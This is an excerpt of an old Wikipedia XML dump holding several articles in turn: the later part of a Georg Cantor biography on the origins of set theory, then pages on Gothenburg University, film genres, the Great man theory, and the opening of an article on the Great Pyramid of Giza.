Cantor's first 10 papers were on [[number theory]], his thesis topic. At the suggestion of [[Eduard Heine]], the Professor at Halle, Cantor turned to [[analysis]]. Heine proposed that Cantor solve an open problem that had eluded [[Dirichlet]], [[Lipschitz]], [[Bernhard Riemann]], and [[Eduard Heine]] himself: the uniqueness of the representation of a [[Function (mathematics)|function]] by [[trigonometric series]]. Cantor solved this difficult problem in 1869. Between 1870 and 1872, Cantor published more papers on [[trigonometric series]], including one defining [[irrational number]]s as convergent sequences of [[rational number]]s. Dedekind, whom Cantor befriended in 1872, cited this paper later that year, in the paper where he first set out his celebrated definition of real numbers by [[Dedekind cuts]].

Cantor's 1874 paper, &quot;On a Characteristic Property of All Real Algebraic Numbers,&quot; marks the birth of set theory. It was published in [[Crelle's Journal]], despite [[Kronecker]]'s opposition, thanks to [[Dedekind]]'s support. Previously, all infinite collections had been (silently) assumed to be of &quot;the same size&quot;; Cantor was the first to show that there was more than one kind of infinity. In doing so, he became the first to invoke the notion of a 1-to-1 correspondence, albeit not calling it such. He then proved that the real numbers were not denumerable, employing a proof more complex than the remarkably elegant and justly celebrated [[diagonal argument]] he first set out in 1891.

The 1874 paper also showed that the [[algebraic number]]s, i.e., the [[root]]s of [[polynomial]] equations with [[integer]] [[coefficient]]s, were denumerable. Real numbers that are not algebraic are [[transcendental number |transcendental]]. [[Liouville]] had established the existence of transcendental numbers in 1851. Since Cantor had just shown that the [[real number]]s were not denumerable and that the union of two denumerable sets must be denumerable, it logically follows from the fact that a real number is either algebraic or transcendental that the transcendentals must be nondenumerable. The transcendentals have the same power as the reals, and &quot;almost all&quot; real numbers must be transcendental. Cantor remarked that he had effectively reproved a theorem, due to [[Liouville]], to the effect that there are infinitely many transcendental numbers in each interval. 

In 1874, Cantor began looking for a 1-to-1 correspondence between the points of the unit square and the points of a unit line segment. In an 1877 letter to Dedekind, Cantor proved a far stronger result: there exists a 1-to-1 correspondence between the points on the unit line segment and all of the points in a ''p''-dimensional space. About this discovery Cantor wrote famously (and in French) &quot;I see it, but I don't believe it!&quot; This astonishing result has implications for geometry and the notion of dimension.

In 1878, Cantor submitted another paper to [[Crelle's Journal]], which again displeased Kronecker. Cantor wanted to withdraw the paper, but Dedekind persuaded him not to do so; moreover, [[Weierstrass]] supported its publication. Nevertheless, Cantor never again submitted anything to [[Crelle]]. 

This paper made precise the notion of a 1-to-1 correspondence, and defined [[countable set|denumerable set]]s as sets which can be put into a 1-to-1 correspondence with the [[natural numbers]]. Cantor introduces the notion of &quot;power&quot; (a term he took from [[Jakob Steiner]]) or &quot;equivalence&quot; of sets; two sets are equivalent (have the same power) if there exists a 1-to-1 correspondence between them. He then proves that the rational numbers have the smallest infinite power, and that '''Rn''' has the same power as '''R'''. Moreover, countably many copies of '''R''' have the same power as '''R'''. While he made free use of [[countable]] as a concept, he did not write the word &quot;countable&quot; until 1883. Cantor also discussed his thinking about [[dimension]], stressing that his [[mapping]] between the unit interval and the unit square was not a continuous one. 

Between 1879 and 1884, Cantor published a series of six articles in ''[[Mathematische Annalen]]'' that together formed an introduction to his set theory. By agreeing to publish these articles, the editor displayed courage, because of the growing opposition to Cantor's ideas, led by Kronecker. Kronecker admitted mathematical concepts only if they could be constructed in a [[finitism|finite]] number of steps from the natural numbers, which he took as intuitively given. For Kronecker, Cantor's hierarchy of infinities was inadmissible. 

The fifth paper in this series, &quot;Foundations of a General Theory of Aggregates,&quot; published in 1883, was the most important of the six and was also published as a separate monograph. It contained Cantor's reply to his critics and showed how the transfinite numbers were a systematic extension of the natural numbers. It begins by defining [[well-order]]ed sets. [[Ordinal numbers]] are then introduced as the order types of [[well-order]]ed sets. Cantor then defines the addition and multiplication of the [[cardinal number|cardinal]] and [[ordinal number]]s. In 1885, Cantor extended his theory of order types so that the ordinal numbers simply became a special case of order types.

Cantor's 1883 paper reveals that he was well aware of the opposition his ideas were encountering: &lt;blockquote&gt;&quot;... I realize that in this undertaking I place myself in a certain opposition to views widely held concerning the mathematical infinite and to opinions frequently defended on the nature of numbers.&quot;&lt;/blockquote&gt; Hence he devotes much space to justifying his earlier work, asserting that mathematical concepts may be freely introduced as long as they are free of [[contradiction]] and defined in terms of previously accepted concepts. He also cites [[Aristotle]], [[Descartes]], [[Berkeley]], [[Leibniz]], and [[Bolzano]] on infinity. 

Cantor was the first to formulate what later came to be known as the [[continuum hypothesis]] or CH: there exists no set whose power is greater than that of the naturals and less than that of the reals (or equivalently, the cardinality of the reals is ''exactly'' aleph-one, rather than just ''at least'' aleph-one). His inability to prove the continuum hypothesis caused Cantor considerable anxiety but, with the benefit of hindsight, is entirely understandable: a 1940 result by [[Godel]] and a 1963 one by [[Paul Cohen]] together imply that the continuum hypothesis can neither be proved nor disproved using standard [[Zermelo-Fraenkel set theory]] plus the [[axiom of choice]] (the combination referred to as &quot;ZFC&quot;).{{ref|CHtoday}}

In 1882, the rich mathematical correspondence between Cantor and Dedekind came to an end. Cantor also began another important correspondence, with [[Mittag-Leffler]] in Sweden, and soon began to publish in Mittag-Leffler's journal ''Acta Mathematica''. But in 1885, [[Mittag-Leffler]] asked Cantor to withdraw a paper from ''Acta'' while it was in proof, writing that it was &quot;... about one hundred years too soon.&quot; Cantor complied, but wrote to a third party:&lt;blockquote&gt;&quot;Had Mittag-Leffler had his way, I should have to wait until the year 1984, which to me seemed too great a demand! ... But of course I never want to know anything again about ''Acta Mathematica''.&quot;&lt;/blockquote&gt; Thus ended his correspondence with Mittag-Leffler, as did Cantor's brilliant development of set theory over the previous 12 years. Mittag-Leffler had meant well, but this incident reveals how even Cantor's most brilliant contemporaries often failed to appreciate his work. 

In 1895 and 1897, Cantor published a two-part paper in ''[[Mathematische Annalen]]'' under [[Felix Klein]]'s editorship; these were his last significant papers on set theory. (The English translation is Cantor 1955.) The first paper begins by defining set, [[subset]], etc., in ways that would be largely acceptable now. The [[cardinal number|cardinal]] and [[ordinal number|ordinal]] arithmetic are reviewed. Cantor wanted the second paper to include a proof of the continuum hypothesis, but had to settle for expositing his theory of [[well-ordered set]]s and [[ordinal number]]s. Cantor attempts to prove that if ''A'' and ''B'' are sets with ''A'' equivalent to a subset of ''B'' and ''B'' equivalent to a subset of ''A'', then ''A'' and ''B'' are equivalent. [[Ernst Schroeder]] had stated this theorem a bit earlier, but his proof, as well as Cantor's, was flawed. [[Felix Bernstein]] supplied a correct proof in his 1898 Ph.D. thesis; hence the name [[Cantor-Schroeder-Bernstein theorem]].

Around this time, the set-theoretic [[paradox]]es began to rear their heads. In an 1897 paper on an unrelated topic, [[Cesare Burali-Forti]] set out the first such paradox, the [[Burali-Forti paradox]]: the [[ordinal number]] of the set of all ordinals must be an ordinal and this leads to a contradiction. Cantor discovered this paradox in 1895, and described it in an 1896 letter to [[Hilbert]]. Curiously, Cantor was highly critical of Burali-Forti's paper.

In 1899, Cantor discovered his eponymous [[Cantor's paradox|paradox]]: what is the cardinal number of the set of all sets? Clearly it must be the greatest possible cardinal. Yet for any sets ''A'', the cardinal number of the power set of ''A'' &gt; cardinal number of ''A'' ([[Cantor's theorem]] again). This paradox, together with Burali-Forti's, led Cantor to formulate his concept of [[limitation of size]], &lt;sup&gt;''[[Talk:Georg Cantor#Limitation of size|fact check needed]]''&lt;/sup&gt; according to which the collection of all ordinals, or of all sets, was an &quot;inconsistent multiplicity&quot; that was &quot;too large&quot; to be a set. Today they would be called [[proper class]]es.

One common view among mathematicians is that these paradoxes, together with [[Russell's paradox]], demonstrate that it is not possible to take a &quot;[[naive set theory|naive]]&quot;, or non-axiomatic, approach to set theory without risking contradiction, and it is certain that they were among the motivations for [[Zermelo]] and others to produce [[axiomatic set theory|axiomatizations]] of set theory. Others note, however, that the paradoxes do not obtain in an informal view motivated by the [[von Neumann universe|iterative hierarchy]], which can be seen as explaining the idea of limitation of size. Some also question whether the Fregean formulation of naive set theory (which was the system directly refuted by the Russell paradox) is really a faithful interpretation of the Cantorian conception.

Cantor's work did attract favorable notice beyond Hilbert's celebrated encomium. In public lectures delivered at the first [[International Congress of Mathematicians]], held in Zurich in 1897, [[Hurwitz]] and [[Hadamard]] both expressed their admiration for Cantor's set theory. At that Congress, Cantor also renewed his friendship and correspondence with Dedekind. [[Charles Peirce]] in faraway America praised Cantor's set theory. In 1905, Cantor began a correspondence, later published, with his British admirer and translator [[Philip Jourdain]], on the history of [[set theory]] and on Cantor's religious ideas.

==Notes==
#{{note|CHtoday}} Some mathematicians consider these results to have settled the issue, and, at most, allow that it is possible to examine the formal consequences of CH or of its negation, or of axioms that imply one of those. Others continue to look for &quot;natural&quot; or &quot;plausible&quot; axioms that, when added to ZFC, will permit either a proof or refutation of CH, or even for direct evidence for or against CH itself; among the most prominent of these is [[W. Hugh Woodin]].


== See also ==
* [[Cantor dust]]
* [[Cantor function]]
* [[Cantor set]]
* [[Cantor's back-and-forth method]] [[Talk:Cantor's back-and-forth method| ]]
* [[Cantor's diagonal argument]] [[Talk:Cantor's diagonal argument| ]]
* [[Cantor's theorem]]
* [[Cantor's paradox]]
* [[Cantor-Bernstein-Schroeder theorem]] [[Talk:Cantor-Bernstein-Schroeder theorem| ]]
* [[Heine-Cantor theorem]]
* [[Cantor's first uncountability proof]] [[Talk:Cantor's first uncountability proof| ]]
* [[Continuum hypothesis]] [[Talk:Continuum hypothesis| ]]
* [[Countable set]] [[Talk:Countable set| ]]
* [[Uncountable set]] [[Talk:Uncountable set| ]]
*[[naive set theory]]
*[[one-to-one correspondence]]
* [[Cardinality]] [[Talk:Cardinality| ]]
** [[Cardinal number]] [[Talk:Cardinal number| ]]
** [[Aleph number]] [[Talk:Aleph number| ]]
* [[Ordinal number]]
* [[well-order]]
* [[Controversy over Cantor's theory]]
* [[Philosophical objections to Cantor's theory]]
* [[Infinity]]
* [[Cantor medal]] - award by the [[Deutsche Mathematiker-Vereinigung]] in honor of Georg Cantor.

== Bibliography ==
Primary literature in English:
* Cantor, Georg, 1955 (1915). ''Contributions to the Founding of the Theory of Transfinite Numbers''. [[Philip Jourdain]], ed. and trans. Dover.
* Ewald, William B., ed., 1996. ''From [[Kant]] to [[Hilbert]]: A Source Book in the Foundations of Mathematics'', 2 vols. Oxford Uni. Press.
**1874. &quot;On a property of the set of real algebraic numbers,&quot; 839-43.
**1883. &quot;Foundations of a general theory of manigolds,&quot; 878-919.
**1891. &quot;On an elementary question in the theory of manifolds,&quot; 920-22.
**1872-82, 1899. Correspondence with Dedekind, 843-77, 930-40.

Secondary literature:
* Aczel, Amir D., 2000. ''The mystery of the Aleph: Mathematics, the Kabbala, and the Human Mind''. Four Walls Eight Windows. A popular treatment of infinity, in which Cantor is the key player.
* Dauben, Joseph W., 1979. ''Georg Cantor : his mathematics and philosophy of the infinite''. Harvard Uni. Press. The definitive biography to date.
* [[Ivor Grattan-Guinness]], 2000. ''The Search for Mathematical Roots: 1870-1940''. Princeton Uni. Press.
*Hallett, Michael, 1984. ''Cantorian set theory and limitation of size''. Oxford Uni. Press. 
* [[Paul Halmos]], 1998 (1960). ''Naive Set Theory''. Springer. 
* Hill, C. O., and Rosado Haddock, G. E., 2000. ''Husserl or Frege? Meaning, Objectivity, and Mathematics''. Chicago: Open Court.  Three chpts. and 18 index entries on Cantor.
*[[Roger Penrose]], 2004. ''The Road to Reality''. Alfred A. Knopf. Chpt. 16 reveals how Cantorian thinking intrigues a leading contemporary theoretical physicist.
* [[Rudy Rucker]], 2005 (1982). ''Infinity and the Mind''. Princeton Uni. Press. Deeper than Aczel.
* Suppes, Patrick, 1972 (1960). ''Axiomatic Set Theory''. Dover.  Although the presentation is axiomatic rather than naive, Suppes proves and discusses many of Cantor's results, thereby revealing Cantor's importance for the edifice of foundational mathematics.

== External links ==
* O'Connor, J. J., and Robertson, E.F. MacTutor archive. The following are the source for much of this entry:
** {{MacTutor Biography|id=Cantor}}
** [http://www-gap.dcs.st-and.ac.uk/~history/HistTopics/Beginnings_of_set_theory.html A history of set theory.]
* [http://uk.geocities.com/frege@btinternet.com/cantor/cantorquotes.htm Selections from Cantor's philosophical writing.]
* [http://uk.geocities.com/frege@btinternet.com/cantor/diagarg.htm Text of the 1891 diagonal proof.]
* Stanford Encyclopedia of Philosophy: [http://plato.stanford.edu/entries/set-theory/ Set theory] by Thomas Jech.
*''Encyclopedia Britannica'': [http://www.aam314.vzz.net/EB/Cantor.html Georg Cantor.]

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    <title>Gothenburg University</title>
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      <text xml:space="preserve">{{Infobox_University
|name            =Gothenburg University
|native_name     =Göteborgs universitet
|latin_name      =Universitas Regia Gothoburgensis
|image           =[[Image:Gothenburg University seal.png|225px|Seal of Gothenburg University]]
|motto           =Tradita innovare innovata tradere
|established     =[[1891]]
|type            =Public University
|endowment       =
|staff           =5,400
|rector          =Prof. [[Gunnar Svedberg]]
|students        =
|undergrad       =49,000
|postgrad        =
|doctoral        =2,500
|city            =[[Gothenburg]]
|state           =
|country         =[[Sweden]]
|campus          =
|free_label      =
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|colours         =
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'''Gothenburg University''', or ''Göteborgs universitet'', is a [[university]] in [[Gothenburg]], [[Sweden]]. It has has about 49,000 students studying at eight faculties.

== History ==
It was founded as ''Göteborgs högskola'' (Gothenburg University College) in 1891 and has later absorbed several other, previously independent, institutions of higher education in the city. It became a full university with the merger of the University College with the Gothenburg School of Medicine (''Medicinhögskolan i Göteborg'') in 1954. Another part of the university is the originally separate [[Gothenburg School of Economics and Commercial Law]]. The [[Sahlgrenska University Hospital]] is associated with the university as a teaching hospital.
Gothenburg University is a pronounced city university, and the during the 1990´s the School of Economics and the Academy of Music, Drama and Opera have been given new facilities in the town centre. And right now (2006) the university is building a new campus for the [http://www.pedagogen.com education faculty ]


== Faculties ==

* The Sahlgrenska Academy 
* The Faculty Board of Arts
* The Faculty Board of Applied and Fine Arts
* The Faculty Board of Social Sciences
* The Faculty Board of the School of Business, Economics and Law
* The Faculty Board of Education 
* The Faculty Board of Science
* The IT University of Göteborg  

== People ==
* [[Arvid Carlsson]], [[Nobel Prize]] [[laureate]] in [[Medicine]], 2000
*[[Ernst Cassirer]], philosopher
*[[Sture Allén]], computer linguist, former permanent secretary of the [[Swedish Academy]]
* [[Erik Lönnroth]], historian, member of the [[Swedish Academy]]
*[[Bernhard Karlgren]], sinologist
*[[Jan Eliasson]] (b. 1940), diplomat, graduate of the [[Gothenburg School of Economics and Commercial Law]]
*[[Percy Barnevik]] (b. 1941), industry leader, former CEO of [[Asea Brown Boveri]]; graduate of the [[Gothenburg School of Economics and Commercial Law]].

== See also ==
*[[Royal Swedish Society of Science and Letters|Royal Swedish Society of Science and Letters in Gothenburg]]
*[[Chalmers University of Technology]]
*[[IT University of Göteborg]]
*[[List of universities in Sweden]]

== External links ==
*[http://www.gu.se/ Gothenburg University] - Official site
*''[http://include.adm.gu.se/news_stuff/0/3/52/gu_jub_broschyr.pdf Göteborgs universitet : ett universitet med traditioner och många högskolor]'' (PDF), an illustrated brochure with articles on the occasion of the 50th anniversary, 2004, 47 pp, in Swedish

[[Image:gbguniversitet_kopiera.jpg|thumb|left|750px|The administration building of Gothenburg University]]

[[Category:Universities and colleges in Sweden]]
[[Category:Higher education in Gothenburg]]
[[Category:Gothenburg]]

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    <title>Cinematic genre</title>
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      <comment>/* Are film genres definable? */  rv</comment>
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In [[film theory]], '''genre''' refers to one method of dividing films into groups. Typically, [[genre]]s are formed of films that share similarities in the [[narrative|narrative elements]] from which they are constructed.

==Categorizing film genres==

Three main types are often used to categorize film genres; [[setting]], [[mood]], and [[Film|format]].  The location where a film's narrative takes place is the ''setting''.  The emotional charge carried throughout the film is known as the film's ''mood''.  And the film may be presented in a special manner, or ''format''.

===Setting===
*[[Crime film|Crime]] - places its character within realm of criminal or moral law
*[[Film noir]] - portrays its principal characters in a [[nihilistic]] and [[existentialist]] world
*[[Historical film|Historical]] - taking place in the past
*[[Science fiction film|Science fiction]] - placement of characters in an alternate reality which posits as true that which might happen in light of new scientific discoveries or would have happened if current knowledge of the sciences was different.
*[[Sports film|Sports]] - sporting events and locations pertaining to given sport of film
*[[War film|War]] - battlefields and locations pertaining to a time of war
*[[Western film|Westerns]] - colonial period to modern era of the western United States

===Mood===
*[[Action film|Action]] - good vs. bad with much physical force
*[[Adventure film|Adventure]] - involving danger, risk, and/or chance, and also usually occurring in the past
*[[Comedy film|Comedy]] - intended to provoke laughter into audience
*[[Drama film|Drama]] - mainly focuses on character development
*[[Fantasy film|Fantasy]] - speculative fiction outside reality (i.e. myth, legend)
*[[Horror film|Horror]] - intended to provoke fear into audience
*[[Mystery film|Mystery]] - the progression from the unknown to the known by discovering and solving a series of clues
*[[Romance film|Romance]] - dwelling on the elements of [[romantic love]]  
*[[Thriller film|Thriller]]s - intended to provoke excitement and/or nervous tension into audience

===Age===
*[[Children's film]] - film for young children. As opposed to a [[family film]], no special effort is made to make the film attractive for other audiences.
*[[Family film|Family]] - intended to be attractive for people of all ages.
*[[Adult film]] - pornographic content.

===Format===
*[[Animation]] - illusion of motion by consecutive display of static images which have been created by hand or on a computer
*[[Biographical film|Biographical]] - a ''biopic'' is a film that dramatizes the life of an actual person
*[[Documentary film|Documentary]] - a factual following of an event or person to gain an understanding of some point
*[[Experimental film|Experimental]] (''[[avant-garde]]'') - created to test an audience's reaction
*[[Musical film|Musical]] - film interspersed with singing by all or some of the characters
*[[Narrative film|Narrative]] - fictional film
*[[Short film|Short]] - popular particularly among amateurs and enthusiasts

==Criticisms of film genres==

===What genres are not===

There are other methods of dividing films into groups besides genre; for example [[auteur]] critics group films according to their directors. Some groupings may be casually described as genres but this definition is questionable; for example, [[independent film]]s are sometimes discussed as if they are a genre, but in fact independent production does not determine a film's storyline, and they can belong to any genre.

Some have argued that genre needs to be distinguished from [[film styles|style]]; the latter describes the choices made about such things as [[cinematography]], [[editing]], and [[sound]] and a particular style can be applied to any genre. Others argue that this distinction is too simplistic, since some genres are primarily recognisable by their styles.

===Are film genres definable?===

A genre is always a vague term with no fixed boundaries.  Many works also cross into multiple genres. In this respect [[film theory|film theorist]] Robert Stam has noted:

&lt;blockquote&gt;
A number of perennial doubts plague genre theory. Are genres really 'out there' in the world, or are they merely the constructions of analysts? Is there a finite taxonomy of genres or are they in principle infinite? Are genres timeless Platonic essences or ephemeral, time-bound entities? Are genres culture-bound or transcultural?... Should genre analysis be descriptive or proscriptive? 

&lt;p&gt; [..]

&lt;p&gt;While some genres are based on story content (the war film), other are borrowed from literature (comedy, melodrama) or from other media (the musical). Some are performer-based (the Astaire-Rogers films) or budget-based (blockbusters), while others are based on artistic status (the art film), racial identity (Black cinema), locat[ion] (the Western) or sexual orientation (Queer cinema). (Robert Stam 2000, 14). 

&lt;/blockquote&gt; 

Many genres have built in [[audience]]s and corresponding publications that support them, such as [[magazine]]s and websites.  Films that are difficult to categorize into a genre are often less successful. As such, film genres are also useful in areas of [[marketing]], [[criticism]] and [[consumption]].

[http://www.writersstore.com/article.php?articles_id=46 John Truby], Hollywood story consultant states that &quot;...you have to know how to transcend the forms [genres] so you can give the audience a sense of originality and surprise.&quot; Some [[Screenwriter|screenwriters]] use genre as a means of determining what kind of plot or content to put into a screenplay. They may study films of specific genres to find examples. This is a way that some screenwriters are able to copy elements of successful movies and pass them off in a new [[Screenplay|screenplay]]. It is likely that such screenplays fall short in originality. As [http://www.scriptmag.com/earticles/earticle.htm Truby]says, &quot;Writers know enough to write a genre script but they haven’t twisted the story beats of that genre in such a way that it gives an original face to it.&quot; It makes sense for writers to defy the elements found in past works and come up with something different or opposite to what's been done before. Originality and surprise are the elements that make for good movie stories. For example, [[Spaghetti Western|Spagetti Westerns]] are known to have turned the western film genre upside down by making the good guy be bad as well as good. Prior to them, westerns had what are now considered genre clichés, like [[Hero|good guys]] wearing white hats, [[Anti-hero|bad guys]] wearing black hats, and the good guy always beating the bad guy in a shootout. The cliché western disappeared after the [[Spaghetti Western|Spagetti Westerns]] broke the &quot;rules&quot; of the genre.

===Style compared to genre===
Whereas film genres identify the manifest content of [[Film|film]], '''film styles''' identify the manner by which any given film's genre(s) is/are rendered for the screen.  Style may be determined by plot structure, scenic design, lighting, cinematography, acting, and other intentional artistic components of the finished film product. Many historians debate whether [[Film-Noir]] truly is a genre rather than a style of film-making often emulated in the period's heyday. The most obvious distinction is between [[fictional film]] and non-fictional film.

== See also ==
*[[Film|Cinema]]
*[[genre|Genre]]
*[[genre studies|Genre studies]]
*[[film theory|Film theory]]
*[[Fictional film]]
*[[Lists of films]]
*[[List of movie clichés by genre]]

{{Commons|Category:Cinema}}


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[[Category:Film genres]]
[[Category:Films by type]]


[[Category:Film]]
[[Category:Film theory]]
[[Category:Genres]]

[[Category:Film genres|Film genres]]
[[Category:Lists of films|Genres]]

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  </page>
  <page>
    <title>Great man theory</title>
    <id>12223</id>
    <revision>
      <id>40596115</id>
      <timestamp>2006-02-21T18:41:28Z</timestamp>
      <contributor>
        <username>Josiah Rowe</username>
        <id>210455</id>
      </contributor>
      <comment>Came to redirect &quot;Dead White Males&quot; to [[dead white males]] (page moved), but I'm not sure that DWM really is a notion of history; rewording accordingly</comment>
      <text xml:space="preserve">The '''Great man theory''' is a theory held by some that aims to explain [[history]] by the impact of &quot;Great men&quot;, ie: highly influential individuals, either from personal charisma, genius intellects, or great political impact.

For example, a scholarly follower of the Great Man theory would be likely to study the [[Second World War]] by focusing on the big personalities of the conflict &amp;mdash; [[Winston Churchill|Sir Winston Churchill]], [[Hirohito]], [[Adolf Hitler]], [[Benito Mussolini]], [[Franklin Delano Roosevelt]], [[Stalin]], etc. &amp;mdash; and view all of the historical events as being tied directly to their own individual decisions and orders. 

It is often linked to 19th century philosopher and historian [[Thomas Carlyle]], who commented that &quot;The history of the world is but the biography of great men.&quot;  This theory is usually contrasted with a theory that talks about events occurring in the fullness of time, or when an overwhelming wave of smaller events cause certain developments to occur.  

A staunch opponent of the great man theory in its own time was [[Leo Tolstoy]], who devoted the entire last (non-fictional) part of ''[[War and Peace]]'' to debunking it, using [[Napoleonic wars]] as an example.

Today the great man theory is out of favour. Most historians today believe that [[economic]], [[societal]], [[environment|environmental]], and [[technology|technological]] factors are far more important to history than the decisions made by any individual. In general there is a belief that history which only follows around &quot;great men&quot;, especially when &quot;greatness&quot; is determined primarily by political status, is a shallow view of the past, and additionally one which excludes entire groups of people from being part of &quot;history&quot;, including [[labour (economics)|labor]] forces, [[ethnic minorities]], [[cultural minorities]], and, as the name &quot;Great ''men''&quot; would suggest, women. As such, &quot;Great man history&quot; is, within the historical profession today, usually used as a [[pejorative]] term, like the phrase &quot;[[dead white males]]&quot;.

This has spread to other fields such a [[literary criticism]] where the [[New Historicism]] of [[Stephen Greenblatt]] argues that societies create works of art, not just authors.

When this theory is applied to [[film theory]], this theory tends to explain [[History of cinema|film history]] and the evolution of film almost exclusively in terms of &quot;Great Men&quot;, with some notable [[film director|director]]s. It however, neglects the efforts of crews, assistants and outside constraints. It could be described as the film history equivalent to the [[Star system (film)|star system]] or the [[auteur theory]].

==References==
§ [[Thomas Carlyle]], ''On Heroes, Hero-Worship and the Heroic in History'' (1843)

[[Category:Historiography]]

Chris Krygier, &quot;Great Men in Theory and Practice: A Study of Three Great Dons&quot;  (2005)</text>
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  </page>
  <page>
    <title>Great Pyramid of Giza</title>
    <id>12224</id>
    <revision>
      <id>42117068</id>
      <timestamp>2006-03-03T22:59:03Z</timestamp>
      <contributor>
        <ip>209.30.155.185</ip>
      </contributor>
      <comment>/* Dating evidence */</comment>
      <text xml:space="preserve">[[Image:Pyramide Kheops.JPG|right|thumb|333px|The Great Pyramid]]
The '''Great Pyramid of [[Giza]]''' ({{coor dms|29|58|41|N|31|07|53|E|type:landmark_region:EG_scale:5000}}) is the oldest and last remaining of the [[Seven Wonders of the World]]. It is generally believed the Great Pyramid was built as the tomb of [[Fourth dynasty of Egypt|Fourth dynasty]] [[ancient Egypt|Egyptian]] '''king [[Khufu (pharaoh)|Khufu]]''' (also known under his Greek name ''Cheops'' and believed to have reigned from 2606-2583 BC), after whom it is sometimes called '''Khufu's Pyramid''' or the '''Pyramid of Khufu'''. Traditionally, the architect of the pyramid was [[Hemon]], a relative of Khufu{{citeneeded}}. 
        
==Age and location==
Believed by mainstream egyptologists to have been constructed in approximately 20 years, the most widely accepted estimate for its date of completion is c. 2580 BC. This date is loosely supported by archæological findings which have yet to reveal a civilization (of sufficient population size or technical ability) older than the fourth dynasty in the area.

[[Image:PyramidDatePalms.JPG|thumb|333px|Great Pyramid of Giza from a 19th century [[stereopticon]] card [[photo]].]]

The Great Pyramid is the oldest and largest of the three pyramids in the [[Giza Necropolis]] adjacent to the outskirts of modern [[Cairo]], [[Egypt]] in Africa. It is the main part of a complex setting of buildings that included a special walkway, two temples, three small pyramids (called the queens' pyramids), boat pits (with boats buried inside) and mastabas for the nobles. One of these small pyramids contains the tomb of queen [[Hetepheres]] (discovered in 1925), sister and wife of Sneferu and the mother of Khufu.

There was a town for the workers, including a cemetery, bakeries, a beer factory and a copper smelting complex. More buildings and complexes are being discovered by the The Giza Mapping Project.

A few hundred metres south-west of the Great Pyramid lies the slightly smaller [[Pyramid of Khafre]], one of Khufu's successors who is believed to have built the [[Great Sphinx of Giza|Great Sphinx]], and a few hundred metres further south-west is the [[Pyramid of Menkaure]], Khafre's successor, which is about half as tall. Khafre's pyramid appears the tallest in some photographs as it is somewhat steeper and built on higher terrain.

===Dating evidence===
An astronomical study, by Kate Spence (see below), suggests a date of 2467 BC. (Nature (vol 408, p 320))

In 1984, the Edgar Cayce Foundation, endeavoring to research the claim that the pyramids were at least 10,000 years old, funded the &quot;David H. Koch Pyramids Radiocarbon Project&quot;. The project took organic material from several places in the core of the Great Pyramid as well as other 4th Dynasty pyramids and locations so as to try and date their radiocarbon. This yielded results averaging 374 years earlier than the date accepted by egyptologists but much more recent than 10,000 years ago. A second dating in 1995 with new but similar material obtained dates ranging between 100-400 years earlier than those indicated by the historic record. This raised interesting questions concerning the origin and date of the wood. Massive quantities of wood were used and burned, so to reconcile the earlier dates the authors of the study theorize that possibly &quot;old wood&quot; was used, assuming that wood was harvested from any source available, including old construction material from all over Egypt. It is also known that King Sneferu imported wood from Lebanon. Project scientists based their conclusions on the evidence that some of the material in the 3rd Dynasty pyramid of Pharaoh Djoser and other monuments had been recycled, concluding that the construction of the pyramids marked a major depletion of Egypt's exploitable wood. Dating of more short-lived material around the pyramid (cloth, small fires, etc) yielded dates nearer to those indicated by historical records. The authors insist more evidence is need to settle this issue. (Archeology &quot;[http://www.archaeology.org/9909/abstracts/pyramids.html Dating the Pyramids ]&quot; Volume 52 Number 5, September/October 1999 by members of the David H. Koch Pyramids Radiocarbon Project&quot;)

== Construction and internal layout ==
At construction, the Great Pyramid was 280 Egyptian [[Ancient Egyptian weights and measures|Old Royal Cubits]] tall ([[1 E2 m|146.5 metres]] or 481 feet), but with [[erosion]] and the theft of its topmost stone (the so-called pyramidion) its current height is 455.21 ft, approximately 138.75&amp;nbsp;m. As has been proven by papyrus documents, each base side measured in antiquity 440 (20.63 inch) royal [[cubit]]s. Thus, the base was originally 231&amp;nbsp;m on a side and covered approximately [[1 E4 m²|53,000 square metres]] with an angle of 51.7 degrees&amp;mdash;close to the ideal for a stable pyramidal structure. Today each side has an approximate length of about 230.36 meters, well within the precision of that measurement. The reduction in size and area of the structure into its current rough-hewn appearance is due to the absence of its original polished casing stones, some of which measured up to two and a half meters thick and weighed upwards of 15 tonnes.

In the 14th century (1301 AD), a massive earthquake loosened many of the outer casing stones, many of which were carted away by [[Bahri dynasty|Bahri Sultan]] [[An-Nasir Nasir-ad-Din al-Hasan]] in 1356 in order to build mosques and fortresses in nearby Cairo; the stones can still be seen as parts of these structures to this day. Later explorers reported massive piles of rubble at the base of the pyramids left over from the continuing collapse of the casing stones which were subsequently cleared away during continuing excavations of the site. Nevertheless, many of the casing stones around the base of the Great Pyramid can be seen to this day in situ displaying the same  workmanship and precision as has been reported for centuries.

The first precision measurements of the pyramid were done by [[William Matthew Flinders Petrie|Sir Flinders Petrie]] in  1880–82 and published as &quot;[http://www.ronaldbirdsall.com/gizeh/ The Pyramids and Temples of Gizeh]&quot;. Almost all reports are based on his measurements. Petrie found the pyramid is oriented 4' West of North and the second pyramid is similarly oriented. Petrie also found a different orientation in the core and in the casing ( – 5' 16&quot; ± 10&quot;). Petrie suggested a redetermination of North was made after the contruction of the core, but a mistake was made, and the casing was built with a different orientation. This deviation from the north in the core, corresponding to the position of the stars b-Ursae Minoris and z-Ursae Majoris about 3,000 years ago, takes into account the precession of the axis of the Earth.  A study by egyptologist [http://www.newscientist.com/article.ns?id=dn174 Kate Spence ], shows how the changes in orientation of 8 pyramids corresponds with changes of position of those stars through time. This would date the start of the construction of the pyramid at 2467 BC.

For four [[millennia]] it was the [[World's tallest structures|world's tallest building]], unsurpassed until the 160 metre tall spire of [[Lincoln Cathedral]] was completed c. 1300 AD. The accuracy of the pyramid's workmanship is such that the four sides of the base have a mean error of only 50 mm in length, and 12 [[arcsecond|seconds]] in [[angle]] from a perfect square. The sides of the square are closely aligned to the four ordinal compass points to within 3 [[minute of arc|minutes of arc]] and is based not on [[magnetic north]], but [[true north]]. 

[[Image:Pyramide1r.jpg|thumb|333px|left|[[Khafre's Pyramid]]. Unlike the Great Pyramid, [[Khafre's Pyramid]] has some of its smooth outer casing limestones intact.]]

